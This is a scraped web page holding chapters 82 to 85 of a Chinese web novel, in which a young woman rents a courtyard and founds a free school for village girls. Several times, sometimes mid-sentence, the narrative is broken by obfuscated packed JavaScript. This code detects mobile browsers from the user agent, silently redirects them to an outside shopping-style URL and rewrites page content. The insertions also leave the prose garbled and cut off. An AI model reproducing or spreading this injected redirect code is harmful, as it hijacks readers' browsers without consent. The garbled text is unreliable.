“我爹说我以后是要嫁出去,用不着读书识字,所以只给哥哥请了老师,最近世蓉很忙,连弓箭社都没时间来了,我一个人在家里绣花,实在无聊,只能跟周帛说说话,要是她来读书,我就更没人说话了。”许家莺说道。 “周帛是你家人?”姜佑安问道。 “不是,她家离我家不远,她娘织了布会拿到我家卖,一来二去,我们就熟了,常在一块儿玩。”许家莺说道。 “整天绣花,确实无聊,你也一块儿来吧,等你识了字,能自己读书了,就不会觉得无聊了。”姜佑安说道。 许家莺向主屋里看了一眼,“戴老师会同意教我吗?” “她们俩都同意了,再加一个应该也无所谓,你们走的时候,我坐你们的马车跟你们一起走,我去多买些纸笔回来。”姜佑安说道。 “行啊,正好我回家找我爹要点儿钱给你用。”许家莺高兴地说道。 听说她要给钱,姜佑安也很高兴,“那可太好了。” 这让李初五和周帛有些忐忑,“我们没有钱。” “没事,有钱的给钱,没钱的就不用给。”姜佑安豪爽一笑,“这是大人的事,你们孩子就不用操这个心了,好好练箭去吧。” 得到姜佑安的承诺,李初五和周帛手牵手,高兴地跑了出去。 “我也是大人了吗?”许家莺笑着问道。 “勉强算半个吧,谁让你家比她俩有钱呢。”姜佑安说道。 姜佑安去屋里取了钥匙,出了二门,把照壁右边的房门打开来,和许家莺一起走了进去。 这个房间东西两侧都开了窗户,屋里很亮堂也很宽敞,门口附近摆着两套桌椅,桌子上有两套茶具,再往里,靠墙放着几张书桌,上面堆放着一些弓箭之类的东西。 姜佑安来回走着,心里已经有了主意,不等袁竹回来,她就和许家莺、周帛一起去了县里。 许家莺把周帛送回家,姜佑安跟她约定了明天上课的时间,就和她告了别,和许家莺一起去了龙家的古董行。 姜佑安走了进去,见古董店陈设雅致,花瓶里插着菊花,货架上摆放着一些陶器、瓷器、玉器还有铜器,墙上挂着书画,书架上放着古籍,颇有一些让人眼前一亮的好东西。 “龙世蓉在吗?”许家莺向伙计问道。 “在,龙老板在后堂,需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233466|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要我去请她出来吗?”伙计客气地问道。 “不用了,我们过去找她。”许家莺带着姜佑安往里走去,穿过一个小院,到了后堂的客厅,见龙世蓉正坐在主位上看账本。 龙世蓉听到声音抬起头,见是姜佑安和许家莺来了,十分吃惊,“你们俩怎么一起来了?出了什么事吗?” 许家莺拉着姜佑安在旁边的客座坐了,“我今天和周帛去弓箭社了,正好姜教头有事要找你,我就带她过来了。” 龙世蓉看向姜佑安,“来要工钱来了?” “不是,是有别的事,要跟你商量一下。”姜佑安说道。 龙世蓉把账本放下,叫人上茶,让姜佑安到她旁边坐,“什么事?还要你亲自来一趟?” “我们家有一个叫杨恩的人,原本寄住在村里的木匠爷爷家,现在木匠爷爷搬走了,他的房子也卖了,等我们的房子修好后,再让他搬到我们家去,也有些住不下,他托我来问问你,他愿意给你看院子,你看能不能把门房给他住,打扫院子、收拾东西之类的活,他也能干。”姜佑安说道。 “就为了这个?”龙世蓉有些难以置信,“这点小事,让家莺回来的时候告诉我一声不就行了?” 姜佑安笑了笑,“弓箭社没活动,反正我也是闲着,就过来看看你呗。” 龙世蓉也笑了,端起茶杯,喝了一口茶,“我看没这么简单。” “你就先说行不行吧。”姜佑安催促道。 “不用给工钱就帮我看院子,还只住门房,那我当然愿意。”龙世蓉警惕地看着姜佑安,“你不是还有别的条件吧?” “没有,这是杨恩自己提的,跟我可没关系,我就是个传话的,你说什么,我就告诉他什么。”姜佑安保证道。 “行,我同意了,还有什么事?”龙世蓉问道。 “李初五她娘张慈和丈夫和离了,现在娘俩都离开了家,住到我们原先的房子里去了,我们要是回去了,她们俩就没地方住了,你看能不能让她俩在你家的宅子里暂住一阵子,等她们有了住处,再让她们搬出来。”姜佑安说道。 “让她俩住进去?”龙世蓉有些犹豫,“门房里住了一个男人,这不太方便吧。” “嗯,你说得也是,是我没想到这一点。”姜佑安说道。 “这件事就算了,还有别的事吗?”龙世蓉问道。 “还有一件大事,我要读书识字了。”许家莺突然插嘴说道。 龙世蓉很惊喜,“是吗?你爹终于同意了?那真是太好了!你爹给你找好老师了吗?” “我爹没给我找,是姜教头给我找的,老师姓戴。”许家莺高兴地说道。 “戴?戴庭芳?这是什么意思?”龙世蓉不太理解,“姜佑安请戴庭芳去你家教书?” “不是,我看弓箭社很久没有活动了,那个院子空着也是空着,不如成立一个女子书院,专门教女孩读书,老师是戴庭芳戴公子,他家是开书院的,在教书方面他很有经验,这个书院的院长呢,就由你来当。”姜佑安说道。 “什么院长,我看你是觉得我在弓箭社当社长,让你占到了便宜,才来找我,说是让我当院长,其实是想让我出钱办书院吧。”龙世蓉可算弄明白了姜佑安的来意,轻松地喝了一口茶,“我拒绝,这个院长,我不当!” 82. 租赁 “家莺、初五、周帛都加入书院了,你确定不参加?”姜佑安说道。 “不参加,我才刚接管古董行,要学的事一大堆,连弓箭社都没时间去,哪还有时间管理什么女子书院。”龙世蓉说道。 “世蓉,你要是不同意,我们可就没有读书的地方了。”许家莺央求道。 “这个我可没办法,要不你们就把宅子买下来吧,随便你们办什么活动,搞什么书院,要什么人住进去,都行。”龙世蓉说道。 姜佑安白了她一眼,“你明知道我们没钱买宅子。” “就是啊,世蓉,你怎么刚接手你家的生意,就掉到钱眼里去了。”许家莺抱怨道。 “办女子弓箭社,我已经做了赔本的买卖了,再办女子书院,你们是觉得我有钱没地儿扔是吗?”龙世蓉说道。 “你那宅子放在那不也赚不到钱吗?拿来开办学院,多好的事啊,你不想让家莺也读书识字吗?”姜佑安说道。 “家莺不能读书识字,是她爹的问题,不是我的问题,你不要强行把责任推到我身上,不过,你倒是提醒我了,宅子光放着,是不挣钱,不如就便宜点儿租给你吧。”龙世蓉说道。 “便宜点儿是多少钱?”许家莺说道。 龙世蓉想了想,喝了一口茶,把茶杯放在了桌上,“多了,你们也出不起,我看就一年五十两银子吧,你们袁家的家人也好,初五的家人也好,谁要住进去,你都可以随便安排,不过,我的弓箭社还要在里面办,是跟书院错开时间,还是另外安排地方都行,你要把给我们射箭的地方留出来,还有,你要对建筑修补、重建、加盖之类的,必须要先告诉我,我同意了才能施工。” “一年五十两,那个宅院里所有地方我都能用?”姜佑安问道。 “对,你都能用,里面的家具也都给你用,你要是同意,我就派人跟你过去,把家具清点一下,退租时,家具一件都不能少,不过,之前射箭破坏的门窗我就不管了,你要用就自己想办法修。”龙世蓉说道。 “好,就这么说定了。”姜佑安高兴地站起身来,“你派个心腹跟我走,我回家就把五十两拿出来给你。” 龙世蓉招手让她坐下,“别着急,你先喝口茶,我也有事要和你讲。” “什么事?”姜佑安问道。 “我这里要学的东西比较多,以后弓箭社的活动,就不能像之前那么频繁了,正好你也有书院的事要忙,弓箭社就不聘用你当教头了,你想玩,就还像之前一样带着她们玩就行。”龙世蓉说道。 “我明白你的意思,五十两租我一个大院子,已经是我占了你的大便宜,我要是再领工钱,就跟白拿白占一样了。”姜佑安笑了笑,“以后女子弓箭社的社长,还是你,教头还是我,我不用你给我开工钱,等我把弓箭社的场地安排好了,就让家莺告诉你,你什么时候想带人过来射箭,都随你。” 龙世蓉轻松地笑了,“好,就这么着吧。” 三人喝着茶,又说了会儿话,许家莺说要跟姜佑安一起去买纸笔,龙世蓉就让她的马车和丫鬟方韵跟着,买好了纸笔,把姜佑安送回去,然后清点家具,把租金拿回去。 姜佑安回到宅子的时候,阮荷和杨恩已经做好了午饭,李长风在门口等着她。 “姜姐姐,你回来了!”见姜佑安下了马车,李长风赶紧迎了上去。 “回来了。”姜佑安高兴地抱着一大摞纸往里走。 “我来搬吧。”李长风伸着手,要接下姜佑安手里的东西。 姜佑安回头往马车上示意,“这纸太沉,你搬不动,去把笔和砚台拿着吧。” 正说着,方韵已经把包袱提了过来,三人把东西搬进了照壁右边的房间,放在了桌上。 阮荷走出了二门来,喊她们过去吃饭,姜佑安喊了车夫进来,便拉着吴韵一起进了院子。 “小阮,今天午饭多两个人,饭够不够吃?”姜佑安问道。 “够,今天做得多,周姐姐怎么是自己一个人来的,龙姐姐呢?”阮荷问道。 “小姐最近特别忙,只能派我来跑一趟了。”吴韵笑着说道。 几人进了屋,姜佑安拉着吴韵坐下,让车夫也坐,李长风去盛了两碗饭,放在了吴韵和车夫面前。 “真是麻烦你们了。”吴韵说道。 “不客气,龙老板对我们这么好,知道我们房子漏雨,就让我们借住在这里,我们都没什么能谢她的,招待你一顿饭算什么。”袁竹笑着说道。 “袁娘子别这么说,最近您天天往古董行里送花,还不收钱,小姐已经觉得不好意思了。”吴韵说道。 “都是地里长的东西,不值什么,来,别客气,吃饭吧。”袁竹热情地招呼道。 吃过了午饭,车夫便去马车上等着了,姜佑安把各处房门都打开,让吴韵一样一样清点着家具。 清点完家具,姜佑安去数了五十两拿给吴韵,让她回去称称,不够再过来要,吴韵道了谢,收了银子,开出两张租赁的单据,又把家具清单誊抄了一份,两样东西,各留了一份给姜佑安,便告辞出门去了。 姜佑安回到屋里喝茶,戴庭芳已经在教书了,袁竹见吴韵走了,走过来小声问道:“你不是买纸笔去了吗?怎么龙家的人也跟着来了?龙世蓉让吴韵过来干什么的?她给你写了什么?” 姜佑安笑了笑,让戴庭芳、阮荷和李长风都停一停,又把杨恩也叫了进来,高兴地向大家宣布:“我以五十两一年的价格,租下了这个宅院,刚刚已经把一年的租金交给吴韵了。” 袁竹十分吃惊,“什么?这么大的事,你怎么也不跟我商量一下?” “五十两,好大一笔钱呢。”阮荷感叹道。 “姜姐姐,你还有钱吗?没有的话,我把我的钱都给你。”李长风问道。 “我还有钱,长风,以后我们住这里,就不用你一直守着你阮姐姐了,你可以想干嘛就干嘛了。”姜佑安笑着说道。 “龙老板是不同意我住在门房吗?”杨恩问道。 “她同意了,不过,我还想让初五和张姐住进来,她就不同意了。”姜佑安说道。 “你要给她俩找住处,咱们就在村里找多好,不比这个宅子便宜得多?”袁竹说道。 “其实,我要租这个宅子,是为了另一件事。”姜佑安看向一直沉默不语的戴庭芳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“既然小阮想单独住,那就单独住吧,反正现在房间多,空着也是空着,明天我去县里买些棉花回来,咱们再做两床新被子。”袁竹笑着说道。 “阮姑娘想住哪个厢房,我先去把门窗修好。”杨恩说道。 姜佑安感到十分惊喜,“你还会修门窗?” “都是跟陈爷爷学的。”杨恩笑了笑,便出去找工具去了。 “咱们家有了个木匠,真好啊。”姜佑安感叹道。 “我去告诉张姐一声,让她在咱们那里住着,不用着急找住处了。”袁竹向外走去,“长风,跟我一起推着车,咱们去把那边家里的东西搬过来。” “我也去。”姜佑安说道。 “我也去。”阮荷也说道。 戴庭芳也站了起来,“我也去帮忙吧,人多搬得快。” “行,那就一起去吧。”袁竹领着大家,推着车,往袁家原先的房子去了。 刚走到附近,就看到张慈站在屋顶上,身子摇摇欲坠,院子里传来李初五惊恐的呼喊声。 “娘!我求你了!你快下来吧!快下来啊!” 83. 教书 袁竹她们丢下板车,飞快地跑进了院子里,“怎么了这是?” 李初五回过身来,声音里带着哭腔,“我娘非要自己修屋顶,我怎么劝她都不听。” 袁竹仰头看去,张慈已经趴在了屋顶上,她不敢太大声,克制地喊道:“张姐,你下来,我已经找好人来修屋顶了。” “你们怎么来了?我没事,这边的瓦,可能是让鸟给踩乱了,水才渗下去的,重新排一下就好了。”张慈在屋顶上说道。 姜佑安看墙边立着梯子,她让李长风帮她扶着,她也爬了上去,密切地看着张慈的动向,直到看到她把瓦一块块排到梯子旁,两人才接连下了梯子。 袁竹赶紧过来扶着张慈,“张姐,你真是要吓死我了!” 张慈笑了笑,“自己能修,就不能掏钱请人了,这回肯定不漏了,你跟他们说一声,不用过来了。” “好,张姐这么能干,可给我省钱了。”袁竹笑着说道。 “你们先进屋坐,我去把梯子还了。”张慈说着,把木梯移了下来。 “行,你忙你的,我们是来搬东西的,以后我们就搬到山下住去了,你们娘俩住这里吧。”袁竹说道。 “你们住那里?能行吗?那个龙社长,能让你们一直住?”张慈问道。 “我把那里租下来,开书院用了,明天起,就让初五去我们那里读书去。”姜佑安笑着说道。 “太好了!我可以读书了。”李初五高兴地喊道:“谢谢姜娘子!谢谢戴老师!” 张慈好似有些为难,“我,我没有钱……” 姜佑安打断了她的话,“我办的是免费的女子书院,不要钱。” “真的?”张慈简直怀疑自己的耳朵,“真的可以免费读书?” “当然是真的,我骗你做什么。”姜佑安说道。 “姜娘子,我可以让村里的朋友也去吗?”李初五兴奋地问道。 姜佑安慷慨地答道:“可以啊,只要是女孩,都可以。” “你们真是大好人。”张慈感动地说道:“我小时候就羡慕别家的男孩子可以读书,真没想到,我的女儿竟然也可以读书识字。” 姜佑安微笑着抚摸着李初五的头发,“初五这样努力用功的孩子,箭能射得好,读书肯定也能读得好,说不定以后也能当个才女呢。” 大家说了会儿话,李长风帮张慈一起去还梯子去了,剩下的人都各自忙碌起来,把杂七杂八的东西都装在了板车上,拉到了新家里。 来回跑了三趟,终于只剩下家具了。 袁竹看这边堂屋里没有吃饭的桌子,又把原先拉到新家里的桌椅拉回来给张慈娘俩用,条几衣柜什么的,也都留下来了。考虑到李初五渐渐大了,肯定也会想要自己住一个房间,袁竹就把两个板床也留下,只要把架子床拉走。 众人合力,把架子床抬上板车,姜佑安拉车,众人一路推着车、扶着床,来到了山脚下的宅子门口,袁竹说这个床给阮荷用,众人便又合力把床抬到了东厢房里。 袁竹、杨恩和李长风在园子里收拾着搬来的东西,按照袁竹的指挥,把东西各自归位。 姜佑安、戴庭芳和阮荷去收拾上课用的房间,把射箭用的东西全部挪去了门房里,把两张喝茶的圆桌搬去东厢房一张、西厢房一张,又把五套读书写字的方桌排列好,老师一张,学生四张,配上椅子,扫了地,擦了桌子,三人都十分满意。 忙活了一下午,在袁家人的极力挽留下,戴庭芳吃过了晚饭才坐上了来接他的马车,往县里去了。 第二天一早,袁家人正在吃饭,戴庭芳还没来,就有村里的两个女人带着孩子来了,不声不响地站在二门外,向里张望,袁竹见有人来,端着碗走了出去,问她们有什么事,来找什么人。 两个女人略有些害羞,说是听说这里可以教小孩读书,不知道真假,先带着孩子过来看看。 姜佑安听了,放下碗跑了过去,把四人引到了做学堂的房间里,给她们看了笔墨纸砚,还介绍了一会儿来上课的老师,两个女人感到很新奇,又小心地询问是不是真的不收钱。 这边正说着话,外面袁竹和杨恩跟姜佑安打了招呼,出发去卖花了,两个女人见袁家的男人走了,都放松了许多,不多会儿,李初五也来了,两个小女孩便都跑过去,拉着她说话。 见初五也在,一人笑着说起昨天听这里能读书,还不收钱,以为是初五这孩子说着玩儿的,另一人对即将来教书的男老师,还有些担忧。 姜佑安便叫两人都留下旁听,觉得老师没问题,再把孩子留下。 学堂里一下子多了四个人,桌椅就不够用了,姜佑安发动大家,把昨天搬出去的圆桌又搬了回来,放在方桌的后面,让两个孩子坐方桌,两个家长坐后面的圆桌。 李初五也跟着落了座,阮荷也来了,四个方桌已经被占,许家莺和周帛来了,只好在另一个圆桌边落座,众人都来齐了,只等着老师了。 姜佑安觉得今天戴庭芳来得有些晚,出门看时,见他在墙边站着,送他的马车已经走远了。 “戴公子!戴老师!你来了怎么不进去?”姜佑安走到他身边,探头问道。 “我听见里面挺热闹的,就没敢进去。”戴庭芳说道。 姜佑安拉着他的胳膊往里进,“这有什么不敢的,你来了,就直接进去教书就好了,人都到齐了,就等着你了。” “我。”戴庭芳伸出双手扒住了门框,面上有些为难,“我真的能当你们女子书院的老师吗?” “怎么不能?你可是殿试探花郎,给几个小孩子启蒙,简直就是大材小用,我还得感谢你愿意纡尊降贵呢,放着自家的书院不去,来我这里教书。”姜佑安认真地说道。 “我怎么听见里面还有大人的声音。”戴庭芳说道。 “是两个新学生的娘,第一天来读书,不了解情况,我就让她们先旁听一下,你不是不害怕女人了吗?”姜佑安关切地看着戴庭芳的脸色,“你还能教书吗?要我把她们赶走吗?” “不,不用了。”戴庭芳低着头,躲避姜佑安的目光。 “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252731|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就好,我要办的女子学院,是不限定年龄的,要是有大人想读书,咱们也得一起教,你要是教不了,我就只能自己去教。”姜佑安说道。 “我教!”戴庭芳放开了门框,整理整理衣服,“我这就去教书。” 姜佑安满意地笑了,“好,那就都交给戴老师了。” 戴庭芳一踏进学堂门,八双眼睛齐刷刷看了过来,虽然从昨晚开始,他已经做了很长时间的心里准备,但此时面对或熟悉或陌生的目光,还是让他紧张不已。 戴庭芳低下头,在心里不停默念,她们都是阮荷,都是阮荷,都是阮荷,情绪才慢慢平静下来。 他到了自己的位置上,先对做了自我介绍,又让学生们都介绍了自己,互相熟悉一下,让阮荷默写昨天的功课,让其他没有基础的学生围过来,教她们笔画的写法。 两个母亲看了一阵子,便悄悄出去,跟姜佑安道了谢,告了别,还邀请老师中午去家里吃饭,姜佑安笑着替戴庭芳道了谢,说会帮忙转达。 送走了两人,姜佑安悄悄来到学堂门边,看到戴庭芳在学生的座位之间来回走动,指导着孩子们的握笔姿势和笔画顺序,她笑了笑,又悄悄走开了。 中午,姜佑安和戴庭芳站在门口,目送孩子们离开,“怎么样?教小孩子,还是很轻松的吧。”姜佑安问道。 戴庭芳看着孩子们的背影,微微一笑,“第一天,教的内容少,还比较轻松,以后要教的内容多了,可就不好说了。” “以后学生也会更多的。”姜佑安转头看向戴庭芳,笑着说道:“现在反悔还来得及。” 戴庭芳摇摇头,“既然答应你了,我就不会反悔,早上来的时候,我心里没底,觉得很不安,但你和孩子们给了我信心,我会好好教她们的。” “是你想得太多了,小孩子好糊弄得很,我只要你教她们识些字,又不是要你教她们考科举。”姜佑安同他开着玩笑。 “就算不考科举,我也想认真地教,只要她们肯学,我愿意把我毕生所学都教给她们。”戴庭芳说道。 “毕生所学?这话说得像个老学究似的,戴老师,你还年轻得很呢。”姜佑安开心地笑着,伸手拍了拍戴庭芳的胳膊,“好啊,既然戴老师愿意教,那我就多给你招些学生过来。” “以后招的学生多了,你也不收钱?买纸笔和书这些东西,花费也不小,你还能承担得起吗?”戴庭芳问道。 “我留了买水仙的钱,等把水仙卖了,还能再赚一笔,其他的,再想办法吧。”姜佑安说道。 “这个女子书院,你打算开多长时间?”戴庭芳问道。 “不知道,先走一步算一步。”姜佑安笑了笑,拉着戴庭芳的胳膊往里走,“走,咱们去看看中午吃什么。” 戴庭芳扯回自己的胳膊,向旁边避让了一步,“姜姑娘,请自重。” “戴老师,请叫我姜院长!”姜佑安收回手,故作严肃地说道。 “院长!姜院长!戴老师!”刚走没多久的两个小姑娘争先恐后地跑回了院门口。 84. 捐助 “你们不是回家吃饭了吗?怎么又回来了?”姜佑安问道。 “我娘说要请院长和老师去家里吃饭。”一个小姑娘说道。 “要去我家!我先过来的,老师,院长,去我家吃饭吧,饭都做好了。”另一个小姑娘也着急地说道。 姜佑安看向戴庭芳,“你看这可怎么是好?” 戴庭芳弯下腰,微笑着向两人说道:“这里是我表妹家,我这里吃饭就好,你们回去告诉你们的母亲,就说心意我们领了,就不过去吃了。” 两个小姑娘你看看我,我看看你,都不知该怎么办了。 “回去吃饭去吧,别误了下午上课的时辰。”姜佑安笑着说道。 两人点了点头,手拉着手往村子里跑去。 李长风从院子里走出来,“姜姐姐,戴公子,吃饭了。” “这么快?小阮不是拿咸菜糊弄我们吧。”姜佑安说着,自顾自地进了院门。 “没有,今天的午饭是我和杨恩做的。”李长风说道。 戴庭芳听两人说着话,也跟着进了院子。 下午,姜佑安让杨恩做了两块木牌,一块写上女子书院四个字,挂在了宅院大门口,一块写着学堂二字,挂在了学堂门口,杨恩又在二门外挂了一个铁铃铛,把线牵引到大门外,这样有人来,就可以直接拽铃铛,省得院子里的人听不见敲门声。 袁竹在院子里铺了席子,把买来的布和棉花放上去做被子,李长风和姜佑安在一旁帮忙,张慈和另两个学生的母亲也来帮忙,一下午的功夫,一床被子就缝好了。 两个母亲见孩子都在认真学习写字,就没去打扰,悄声离开了。 之后学堂里又多了两个村里的孩子,再加上龙世蓉和许家莺在县里替姜佑安宣传,附近的村庄都知道了这里有个女子书院,想让孩子免费读书的家长纷纷把孩子送了过来。 眼看孩子越来越多,座位还能挤一挤,笔墨纸砚却不够分了,姜佑安让两个人共用一套砚台和墨,又去县里买了些纸笔分给她们,顺便还买了各种启蒙书各二十本,一下子把她的钱袋子掏空了。 姜佑安开始犯愁了,这才招了十来个学生,就已经把她的钱花干净了,以后可怎么办?买水仙花球要是全让袁竹出钱的话,卖了水仙花,她也分不到多少钱,这女子书院还怎么继续办下去? 先找袁竹借一些?自己没有了当教头的收入,以后拿什么还她?让她帮忙给些钱用?可这个家都是她卖花在支撑,长风的零花钱和阮荷做家务的钱也都是她出的,书院是自己要做的,怎么好让她掏钱? 要不然,再去锦标社赌一场?不行,要是让袁竹知道了,肯定要生自己的气。 姜佑安在院子里闭着眼睛晒太阳,对目前的状况一筹莫展,不禁轻声叹了口气。 郭英轻手轻脚地出现在姜佑安身边,俯身在她近旁小声问道:“叹什么气呢?” 姜佑安吓了一跳,转头见是郭英,抚了抚自己的胸口,“你来了怎么一点儿声都没有,吓我一跳!” 郭英爽朗一笑,“我这不是看你睡着了吗?谁知道你又突然叹气,怎么了?有什么烦心事吗?” “有啊,咱们这些穷人的烦心事,除了钱,也没有什么了。”姜佑安无奈地说道。 “我听说你在办不收钱的书院,还只招收女孩子,是书院要用钱吧,你怎么会突然想办这个?”郭英问道。 “你还记得牢里的钟二娘吗?她不知道自己是什么罪名,就被骗画了押,我想如果她识字的话,至少会知道自己是为什么被关在监狱里的,正好初五也想读书,我想正好办个书院,让女人也有读书的地方。”姜佑安说道。 “原来是这样。”郭英在姜佑安的椅子边蹲下,“村里的人都是很穷的,连供养一个男孩子读书都供不起,供养女孩更是不可能的,你这样做,只能是一直往里面砸钱,收不到钱,真的能办得下去吗?” 姜佑安起身,去屋里给郭英搬了一把椅子出来。“不知道,能办到什么时候就办到什么时候,起码我们现在买了启蒙书了,要是以后连纸笔都买不起,我们还可以在地上写,总会有办法的。” 郭英道了谢,在椅子上坐下,“这边的女孩子,基本上十六七岁就嫁人了,就算读了书,不也还是一样去婆家干活、生孩子,男人也都基本不识字,读不读书,也没那么重要吧,你要是觉得太难,趁早放弃好了。” 姜佑安倚着椅背,看向郭英,“郭英,你读过书吧?你觉得你和那些没读书的人,都一样吗?” “不一样。”郭英抬头看向辽阔的天空,“区别可能是我会想得更多,想得越多,就越难过,我本来可以什么都不知道,像母亲一样生活,但读了书之后,知道了世界的广阔,我总想去尝试另一种生活。” “知道世界的广阔,能表达出来自己的想法,说出自己的高兴和难过,我想这应该就是读书的意义,就算这些孩子不能去参加科考,只要她们脑海里有了文字、有了思想,就会对自己的人生形成一些思考。”姜佑安说道。 郭英摇了摇头,“也许能思考、能表达,却不会得到认同,周围的人都没有读过书,只会希望你像她们一样活,你不需要表达,只需要干活,只需要按照父母的安排结婚生子。” “只有一个人表达出来,大家可能不理解,不认同,但如果你有了同伴,就不一样了,大家可以相互支持,相互鼓励,让你知道你不是孤身一人,我们会继续干活,我们也会继续读书,我们女子书院的学生会越来越多,我们可以互相认同。”姜佑安微笑着说道,她对未来充满希望。 “你想得也太容易了。”郭英感叹道。 “也许是你想得太难了,我没有要这些学生去传承文化、建功立业、拯救黎民、改变国家,我只是希望她们能读些书,让她们的人生好过一些,哪怕不懂那些大道理,只要农闲的时候,能看些话本小说解解闷,也是好的,再说了,母亲识了字,不也能顺应大家对女人的要求,更好地相夫教子吗?”姜佑安说道。 郭英沉默不语,李长风从二门外进来,“姜姐姐,有人找你。” 姜佑安站起身来,“谁啊?是带孩子来的吗?” 一个衣着简朴的女人拎着一个包裹走进了院子,笑着向二人说道:“姜姑娘,郭姑娘,你们都在这儿呢。” “钟二娘!”姜佑安吃惊地迎了过去,“你怎么知道我在这里?” 郭英也快步走了过去,“你怎么会来这里?是专门来找我们的吗?” “我听说姜姑娘在办女子书院,特意跟人打听了地址,才找过来的。”钟二娘说道。 李长风从屋里搬了一把椅子出来,留她们三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“如果不是姜姑娘,我不会知道我是被冤枉的。”钟二娘笑了笑,“我从小就很羡慕别人可以读书识字,我是没有机会了,现在姜姑娘愿意给那些小女孩识字的机会,我觉得这是件大好事,我愿意帮忙。” 姜佑安伸手握住了钟二娘的手,“现在也不晚,你也留下,和那些学生一起读书吧。” “我?”钟二娘惊讶地连连摆手,“我都三十多了,哪里还能跟小孩子一起读书。” “没事的,我的书院本来也不限制年龄,你就是四五十了,也一样可以一起来读书。”姜佑安说道。 “真的?”钟二娘不太相信,“你不会是因为那些香料才这么说的吧。” “我成立这个女子书院的时候,就跟戴老师说了,不论岁数,只要想读书,我们都收,不信你去问问他。”姜佑安说道。 “别,不用去问了,我,我考虑一下。”钟二娘赶忙说道。 “好,你慢慢考虑。”姜佑安看着她,脸上是温柔的笑意,“我们书院的大门永远为你打开,你想来读书,就直接来找我。” “现在没有人管束你了,你可以自己决定来还是不来。”郭英说道。 “你也在这里读书吗?”钟二娘问道。 “现在还没有,你要是来的话,我也一起加入。”郭英笑着说道。 “你也来读书?你不是识字吗?”姜佑安奇怪地问道。 这边正说着话,李长风又来了,“姜姐姐,大门外有人找你。” “谁啊,直接叫她进来好了。”姜佑安说道。 “是黎公子来了,他说他不方便进来,要你出去说话。”李长风在二门外扬声说道。 85. 两清 黎泱泱?之前一声不响地消失了,怎么今天又来了?姜佑安跟郭英和钟二娘说自己出去一趟,便去了大门口。 “黎公子,好久不见啊。”姜佑安笑着上前打招呼。 黎泱泱转过身来,脸上带着浅笑,“姜姑娘也真是闲不住,弓箭社不办了,又办起书院来了。” “弓箭社也在办,只不过最近龙老板没有时间过,才暂时搁置了,黎公子今天怎么有功夫到这里来?”姜佑安问道。 “你是在怪我之前没有守约?”黎泱泱问道。 姜佑安点点头,“当然,我可是满心期待,等了你整整一天。” “那还真是抱歉。”黎泱泱笑了笑,“我想了又想,还是觉得不能为了我爹,成为你的玩物。” “谁把你当玩物了?”姜佑安笑着问道,“是你说感到愧疚,我才想了个办法,好减轻你的愧疚。” “那样的办法,赎我不能奉陪。”黎泱泱说道。 “只是让你抱着我而已,我又没做别的,这很过分吗?”姜佑安认真地问道:“那陪我坐着喝喝茶,怎么样?” “你到底想让我做什么?”黎泱泱问道。 “陪我喝喝茶都不行?那你还是别问了,我想做的,你是不会同意的。”姜佑安说道。 “你是想折磨我出气吗?”黎泱泱又问道。 “没有啊,我都说了,你是你,你爹是你爹,我对你没有气,更不会折磨你出气。”姜佑安说道。 黎泱泱好似有些困惑,“不是为了出气,那是为了什么?” “为了我自己高兴啊。”姜佑安开心地笑着,欣赏着他那张英俊的脸,“你长得很好看,我很喜欢,一看见你,我就高兴,所以我想让你多待在我身边。” 见姜佑安这么坦诚,黎泱泱反而有些不好意思了,他走过去,把一个钱袋塞到姜佑安手里,“听说你办的书院不收钱,这些给你拿去用,就当是我爹给你的补偿。” 黎泱泱说完转身就要走,姜佑安拦在了他面前,“你以后都不过来了?” “不来了。”黎泱泱说道。 “我可以去店里找你吗?”姜佑安问道。 “你最好别去,我爹不想看到你。”黎泱泱绕过她去牵马。 姜佑安拉着他的袖子不让他走,“我们不能成为朋友吗?” “男女之间,哪有朋友。”黎泱泱轻轻挣脱了姜佑安的手,翻身上马,“你我之间的恩怨一笔勾销,后会无期。” 看着黎泱泱骑着马远去,姜佑安转身往大门走去。马上初见,马上离别,倒也是一场不错的邂逅,只可惜,再也看不到那张俊朗的脸还有那结实的身子。 姜佑安忍不住回头又看了一眼,在乡间,美男还是太少了些,那些送孩子来读书的家长里,只有一个长得还不错,可惜已经结婚生子了。 姜佑安摇了摇头,边跨进门槛,边发出感叹,“真是可惜啊……” “可惜什么?”戴庭芳站在门内的阴影里,向姜佑安问道。 姜佑安回头又看了看,黎泱泱已经骑马进了树林,看不到了,“可惜了一个美男。” “什么?”戴庭芳不能理解,“你说的这是什么意思?” 姜佑安有些失落地靠在门框边,“可惜了黎公子长得这么好看,却不愿意和我成为朋友。” “可能是因为他父亲做的这些事,让他有所顾虑吧,不过,姜院长,你交朋友,只看脸长得好不好看吗?”戴庭芳问道。 “他不光脸长得好看啊,他身材也好。”姜佑安解释道。 